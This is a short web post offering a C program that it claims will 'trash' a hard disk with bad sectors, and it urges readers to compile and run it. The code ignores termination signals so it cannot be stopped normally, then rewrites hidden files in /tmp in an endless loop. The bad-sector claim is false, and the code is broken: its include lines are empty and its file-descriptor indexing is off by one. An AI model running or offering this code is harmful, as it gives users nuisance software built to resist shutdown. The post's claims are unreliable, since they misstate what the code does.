Create BAD sectors on HDD

This C program will create BAD Sectors on Hard Disk . Bad Sectors are sectors of Hard Disk where data can't be written nor can be retrieved . Bad Sectors may be permanent / temporary . Copy the code and run it using a C / C++ Complier .

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should not misuse the code to destroy useful data or do other such illegal acts .

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}